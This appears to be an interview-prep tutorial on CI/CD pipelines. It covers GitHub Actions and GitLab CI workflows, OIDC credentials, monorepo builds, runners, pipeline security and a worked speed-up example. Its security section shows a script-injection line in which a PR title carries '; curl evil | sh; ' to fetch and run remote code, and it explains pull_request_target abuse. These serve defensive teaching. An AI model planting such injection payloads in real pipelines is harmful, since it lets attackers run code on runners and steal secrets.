Every DevOps job description lists CI/CD, and in Indian service companies (Infosys, TCS, Wipro) the first screening questions are often "explain your pipeline" and "how do you store secrets in it". Product companies ask harder versions: "15 services in one repo, how do you avoid rebuilding everything", "how does the workflow get AWS credentials without a stored key", "why is pinning an action by tag not enough". Those have precise answers. A pipeline is also the thing you will touch most in your first month of real work, because a broken or 40-minute pipeline blocks everyone.

CI, continuous delivery, continuous deployment

Most teams run continuous delivery. Continuous deployment needs good tests, a canary and a fast rollback; the Facebook and OANDA paper in the resources shows what has to be true for it to work.

Anatomy of a good pipeline

Two rows of pipeline stages: continuous integration on every pull request, then delivery on main with a branch protection gate and a required reviewer gate, with one image digest flowing through all of it

Cheap, fast checks go first so a typo fails in one minute, not after a 10-minute build.

1. Lint and format (ruff, go vet, hadolint for Dockerfiles). Under a minute.
2. Unit tests, in a matrix of language versions if you support more than one.
3. Build the application and the container image with BuildKit and a layer cache.
4. Scan the image for known vulnerabilities: fail on CRITICAL, warn on HIGH.
5. Integration tests against real dependencies started as service containers (Postgres, Redis).
6. Push the image and record its digest (sha256:...). A tag like v1.4.2 or latest can be moved to a different image later; a digest cannot. Every later stage uses the digest. ECR is the AWS image registry; large companies also run Artifactory or Nexus as the generic store for jars, npm packages and images.
7. Deploy to staging, run a smoke test (a few real requests), then promote the same digest to production, usually behind a canary (next lesson).

The rule from step 6: build once, deploy many times. If production rebuilds the image from source, you are not testing what you ship.

GitHub Actions: the complete workflow

A workflow is a YAML file in .github/workflows/. It has triggers (on), one or more jobs, and each job has steps that either run a shell command (run) or call an action (uses). Jobs run in parallel unless needs orders them. This workflow builds, scans, pushes to Amazon ECR and deploys.

name: ci
on:
  pull_request:                      # CI on every PR: opened, synchronize, reopened
  push:
    branches: [main]                 # delivery only from main
    paths-ignore: ["docs/**"]        # a docs change does not build an image

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}   # one run per branch
  cancel-in-progress: true           # a new push cancels the stale run

permissions: {}                      # nothing by default; each job asks for what it needs

env:
  AWS_REGION: ap-south-1
  IMAGE: 123456789012.dkr.ecr.ap-south-1.amazonaws.com/api

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15              # default is 360; a hung test must not block for 6 hours
    permissions:
      contents: read
    strategy:
      fail-fast: false               # see every version's result, not only the first failure
      matrix:
        python: ["3.12", "3.13"]
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-python@v7
        with:
          python-version: ${{ matrix.python }}
          cache: pip                 # built-in cache keyed on the hash of requirements.txt
      - run: pip install -r requirements.txt && ruff check . && pytest -q
      - uses: actions/upload-artifact@v7
        if: always()                 # keep the report even when tests fail
        with:
          name: junit-${{ matrix.python }}
          path: reports/junit.xml
          retention-days: 7

  image:
    needs: test
    runs-on: ubuntu-latest
    timeout-minutes: 20
    permissions:
      contents: read
      id-token: write                # lets the job request an OIDC token for AWS
    outputs:
      image: ${{ env.IMAGE }}@${{ steps.build.outputs.digest }}   # name@sha256:..., for the deploy jobs
    steps:
      - uses: actions/checkout@v7
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-ci-push   # no access key anywhere
          aws-region: ${{ env.AWS_REGION }}
      - id: ecr
        uses: aws-actions/amazon-ecr-login@v2
      - uses: docker/setup-buildx-action@v4
      - id: build
        uses: docker/build-push-action@v7
        with:
          context: .
          push: ${{ github.event_name == 'push' }}   # PRs build and scan but do not push
          load: ${{ github.event_name != 'push' }}   # on a PR, keep the image locally so the scan can read it
          tags: ${{ env.IMAGE }}:${{ github.sha }}
          cache-from: type=gha       # layer cache in the Actions cache
          cache-to: type=gha,mode=max
          provenance: ${{ github.event_name == 'push' }}   # provenance attestation toward SLSA; not with load
      - uses: aquasecurity/trivy-action@v0.36.0
        with:                        # gate policy: fail on CRITICAL, warn on HIGH
          image-ref: ${{ env.IMAGE }}:${{ github.sha }}
          severity: CRITICAL
          ignore-unfixed: true
          exit-code: "1"             # a fixable CRITICAL finding fails the job
      - uses: aquasecurity/trivy-action@v0.36.0
        with:
          image-ref: ${{ env.IMAGE }}:${{ github.sha }}
          severity: HIGH
          ignore-unfixed: true
          exit-code: "0"             # HIGH is reported in the log, not a failure
          skip-setup-trivy: true     # Trivy is already installed by the step above

  deploy-staging:
    needs: image
    if: github.event_name == 'push'
    uses: ./.github/workflows/deploy.yml     # reusable workflow, same repo
    with:
      environment: staging
      image: ${{ needs.image.outputs.image }}   # by digest, not tag; env is not allowed here
    secrets: inherit

  deploy-production:
    needs: deploy-staging
    uses: ./.github/workflows/deploy.yml
    with:
      environment: production        # has required reviewers: the run pauses here
      image: ${{ needs.image.outputs.image }}
    secrets: inherit

What each part does, in the order an interviewer asks:

• Triggers. pull_request runs on the merge commit of the PR with read-only permissions and no secrets for forks. push on main is the delivery path. paths and paths-ignore filter by changed files; they are not evaluated for tag pushes. workflow_dispatch adds a manual button with typed inputs; schedule runs a cron.
• Concurrency groups. group names a queue and cancel-in-progress: true cancels the older run when a new one starts. For a deploy job you want the opposite: a group per environment with cancel-in-progress: false, so two deploys never overlap.
• Matrix. One job definition becomes one job per combination, up to 256. include and exclude adjust combinations. A matrix can be computed by an earlier job and read with fromJSON(needs.plan.outputs.matrix); that is how monorepo pipelines decide what to build.
• Caching. actions/cache saves a folder under a key, usually ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}, with restore-keys as prefix fallbacks. The cache is 10 GB per repository and entries unused for 7 days are evicted. A branch can read caches from itself and from the default branch, so a cache written on main warms every PR. setup-python, setup-node, setup-go and setup-java have this built in. Docker layers use the buildx gha backend: cache-from: type=gha and cache-to: type=gha,mode=max, where mode=max also stores intermediate stages.
• Artifacts are files passed between jobs or kept after the run (upload-artifact, download-artifact), with a retention from 1 to 90 days. Caches are for speed and may vanish; artifacts are for results.
• Environments (environment: production) carry their own secrets and variables and deployment protection rules: up to 6 required reviewers, a wait timer, and a list of branches allowed to deploy. A job that names a protected environment pauses until a reviewer approves.
• OIDC to AWS. The job asks GitHub for a short-lived OIDC token (id-token: write), and configure-aws-credentials exchanges it with STS for temporary credentials of role-to-assume. The IAM role's trust policy accepts only token.actions.githubusercontent.com with audience sts.amazonaws.com and a subject such as repo:acme/shop:environment:production. Nothing long-lived is stored, so there is nothing to leak or rotate.
• Permissions. permissions: {} at the top turns every GITHUB_TOKEN permission off; each job adds back only what it needs (contents: read, id-token: write, packages: write). Any permission you do not list is none.
• Reusable workflows and composite actions. A reusable workflow declares on: workflow_call with typed inputs and secrets, and a caller references it with uses: owner/repo/.github/workflows/deploy.yml@<sha> plus with: and secrets: inherit. It is a whole job. A composite action (runs: using: composite in an action.yml) is a bundle of steps you reuse inside a job. Steps that repeat across jobs become a composite action; a job that repeats across repos becomes a reusable workflow.
• Secrets. Stored encrypted and injected only when a step references ${{ secrets.NAME }}. The runner masks exact matches in logs, but a secret inside a JSON blob, or base64-encoded, or printed with a character inserted, is not masked. Never echo a secret, never put several values in one secret, and register derived values with ::add-mask::.

GitLab CI equivalents

GitLab CI is one file, .gitlab-ci.yml, with stages run in order and jobs inside each stage run in parallel. The same pipeline looks like this.

stages: [test, build, deploy]

default:
  image: python:3.13-slim
  interruptible: true                # a newer push on the same branch cancels this job

workflow:
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH   # no duplicate branch + MR pipelines

test:
  stage: test
  cache:
    key:
      files: [requirements.txt]      # new key when the pinned requirements change
    paths: [.cache/pip]
    policy: pull-push
  script:
    - pip install -r requirements.txt
    - ruff check . && pytest -q --junitxml=report.xml
  artifacts:
    when: always
    reports:
      junit: report.xml              # shown in the merge request
    expire_in: 1 week

build:
  stage: build
  image: docker:29-cli
  services: [docker:29-dind]
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
    - changes: [Dockerfile, src/**/*]   # on MRs, only when these paths changed
  script:
    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY   # job token, valid for this job only
    - docker build -t $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA .
    - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA

deploy_production:
  stage: deploy
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      when: manual                   # a human clicks; protected variables are available here
      allow_failure: false           # the pipeline waits instead of showing green
  resource_group: production         # one production deploy at a time
  environment:
    name: production
    url: https://shop.example.com
    on_stop: stop_production
  script: ./deploy.sh $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA

stop_production:
  stage: deploy
  when: manual
  environment:
    name: production
    action: stop
  script: ./teardown.sh

The mapping: stages and stage replace needs ordering (GitLab also has needs for a DAG, and needs: [] starts a job immediately); rules with if, changes and when replace on filters and if; cache and artifacts are the same ideas; environment with on_stop and action: stop matches environments; resource_group matches a non-cancelling concurrency group; retry: 2 retries a job up to twice. A protected variable is only given to pipelines on protected branches or tags, which keeps production credentials out of feature-branch pipelines. A masked variable is hidden in logs (single line, at least 8 characters). Runners are chosen with tags.

Monorepo pipelines: build only what changed

The 2026 filter question: one repository, 15 services, three shared libraries, 40 pushes a day. Building all 15 images on every push makes every pipeline 40 minutes long. The fix has four parts.

1. Change detection. A first job diffs the push against the base (dorny/paths-filter@v4 with a filter per service, or git diff --name-only $BASE...$HEAD and your own script) and emits a JSON list.
2. Dependency graph. A library change must rebuild every service that imports it, transitively. Keep the graph explicit (a small deps.yaml, or the build tool's graph in Bazel, Nx or Go modules) and compute the affected set as the changed components plus all their dependants.
3. Dynamic matrix. The plan job writes matrix=["orders","users",...] to $GITHUB_OUTPUT; the build job uses strategy.matrix.service: ${{ fromJSON(needs.plan.outputs.matrix) }}, so only affected services get a job and they run in parallel.
4. Per-service caches. One shared cache key for everything is invalidated by every change. Key dependency caches on each service's own lock file and give each image build its own buildx cache scope (cache-to: type=gha,scope=orders,mode=max).

Deploy the same way: only affected services get a new image digest; the rest keep the one they have. The code example below computes the affected set and the time saved.

Runners: hosted, self-hosted, and on Kubernetes

A runner is the machine that executes a job. GitHub-hosted ubuntu-latest gives 2 vCPU and 8 GB of RAM for private repositories (4 vCPU and 16 GB for public ones), with a fresh VM per job, which is why you need caches. Self-hosted runners are your own machines: pick them for a private VPC (deploy to a database with no public endpoint), GPUs or arm64, large caches on local disk, or lower cost at high volume. You now patch, scale and secure them, and a self-hosted runner must never run jobs from forks, because a PR could execute code on your network.

On Kubernetes, actions-runner-controller (ARC) is the GitHub-maintained operator, installed from OCI Helm charts. You create a runner scale set; a listener pod long-polls GitHub, and for each queued job the controller starts an ephemeral runner pod that runs exactly one job and is deleted. Jobs select it with runs-on: <scale-set-name>. GitLab's equivalent is GitLab Runner with the Kubernetes executor, one pod per job. In both cases building images inside a pod needs a rootless builder (BuildKit, Kaniko) rather than a mounted Docker socket.

Pipeline security

• Pin actions by commit SHA, uses: actions/checkout@<40-hex-sha>, with a comment naming the version. A tag such as v7 can be moved to malicious code by anyone who gains access to the action's repository; a SHA cannot. Dependabot keeps pinned SHAs updated.
• pull_request_target runs in the context of the base repository with write access and secrets, even for a PR from a fork. If that workflow checks out the PR's head and runs its code (npm install, a test), the attacker's code runs with your secrets. Use plain pull_request for anything that executes PR code, and never check out untrusted code under pull_request_target.
• Script injection. run: echo "${{ github.event.pull_request.title }}" lets a PR title such as "; curl evil | sh; " run on the runner. Pass untrusted input through an env: variable and quote it.
• Secret scanning on the repository (push protection) stops a key from being committed; a pre-commit hook such as gitleaks catches it earlier.
• SLSA (Supply-chain Levels for Software Artifacts) grades how trustworthy a build is. Build L1: the package has provenance saying how it was built. L2: the provenance is signed by a hosted build platform. L3: the build runs in isolation so even the project's maintainers cannot tamper with it. GitHub artifact attestations give L2 by default and L3 when the build runs in a reusable workflow; Sigstore cosign signs and verifies images, and an admission controller can refuse unsigned images.

Flaky tests, speed, and Jenkins

A flaky test passes and fails without a code change. Retrying the whole job (retry: 2 in GitLab, a re-run step in Actions) hides the problem and doubles pipeline time. Better: retry only the failing test once inside the test runner, record every flake, quarantine tests that flake more than a few percent, and fix the root cause, which is usually shared state, a real clock, a real network, or an ordering assumption.

Where a 20-minute pipeline goes:

Measure first: the run summary shows each step's duration.

Jenkins is still common in Indian IT services, so you may meet a Jenkinsfile. The mapping is direct: a declarative pipeline { stages { stage('Build') { steps { sh 'make' } } } } is a job with run steps; agent { label 'linux' } is runs-on; parallel stages are separate jobs with no needs between them; when { branch 'main' } is an if: or a rules:; credentials() is ${{ secrets.X }}; a shared library is a reusable workflow. The idea does not change, only the file. CircleCI, Azure Pipelines and TeamCity are other hosted CI systems you may meet, with the same concepts.

Cutting a 22-minute pipeline for one Python service. The team's Actions run on a private repository (2 vCPU hosted runner). Measured step times from the run summary: checkout 0.3 min, pip install 4.2 min, ruff 0.4 min, pytest 9.1 min (single job, 1,800 tests), docker build 6.0 min (no cache, the COPY . . line comes before pip install in the Dockerfile so every source change invalidates the dependency layer), trivy 1.2 min, push 0.8 min. Total 22.0 min, serial.

Step 1, cache dependencies. actions/setup-python@v7 with cache: pip, keyed on the hash of requirements.txt by default (cache-dependency-path changes that). On a cache hit the install drops to about 0.6 min (download from cache plus wheel install). Saving: 3.6 min.

Step 2, fix the Dockerfile order and add a layer cache. Move COPY requirements.txt and pip install above COPY . ., and set cache-from: type=gha, cache-to: type=gha,mode=max. A source-only change now rebuilds only the last layer: about 1.0 min instead of 6.0. Saving: 5.0 min.

Step 3, run tests in parallel. Split pytest across a matrix of 3 shards (pytest --shard-id=${{ matrix.shard }} --num-shards=3 with a sharding plugin, or by test directory). 9.1 min of tests becomes about 9.1 / 3 = 3.0 min of wall-clock time plus 0.6 min of setup per shard, which runs in parallel too: 3.6 min. Saving: 5.5 min.

Step 4, run the image build and the test matrix at the same time instead of after. The image job does not need the test result to start building; only the push step needs it. The build-and-scan job takes 0.3 + 1.0 + 1.2 = 2.5 min and runs beside the 3.6 min of tests, so it adds nothing to the critical path. Push waits for both: 0.8 min.

New critical path: checkout 0.3 + install 0.6 + ruff 0.4 + tests 3.6 (parallel with build and scan) + push 0.8 = 5.7 min. From 22.0 to 5.7 min, a 74 percent cut, with no change to the tests themselves. Runner minutes billed went down too: 3 shards at about 4.3 min each, plus 2.5 for build and scan and 0.8 for push, is about 16 runner-minutes against 22 before, because the install and build no longer repeat work.

The number interviewers want you to say out loud: after caching, the critical path is the slowest parallel job, so the next thing to shard is whatever is longest, and the Dockerfile layer order is a one-line fix worth five minutes on every push.